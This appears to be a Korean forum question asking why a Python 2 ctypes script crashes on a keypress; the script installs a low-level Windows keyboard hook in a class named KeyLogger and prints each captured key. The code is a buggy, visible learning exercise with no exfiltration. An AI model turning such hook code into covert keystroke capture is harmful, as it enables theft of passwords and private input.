실행을 시키고 키보드를 누르면 저렇게 오류가 납니다. 왜 오류가 났는지 이해를 못하겠습니다. 어디를 고쳐야 제대로 실행이 될까요?

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

user32 = windll.user32
kernel32 = windll.kernel32

List item

WH_KEYBOARD_LL  = 13
WM_KEYDOWN      = 0x0100
CTRL_CODE       = 162

class KeyLogger:
    def __init__(self):
        self.lUser32    = user32
        self.hooked      = None

    def installHookProc(self, pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(WH_KEYBOARD_LL, pointer, kernel32.GetModuleHandleW(None), 0)
        if not self.hooked:
            return False
        return True

    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(myKeyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])
    print hookedKey
    if(CTRL_CODE == int(lParam[0])):
        print "Ctrl pressed, call uninstallHook()"
        myKeyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(myKeyLogger.hooked, nCode, wParam, lParam)

def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg),0,0,0)

myKeyLogger = KeyLogger()
pointer = getFPTR(hookProc)

if myKeyLogger.installHookProc(pointer):
    print "installed keyLogger"

startKeyLog()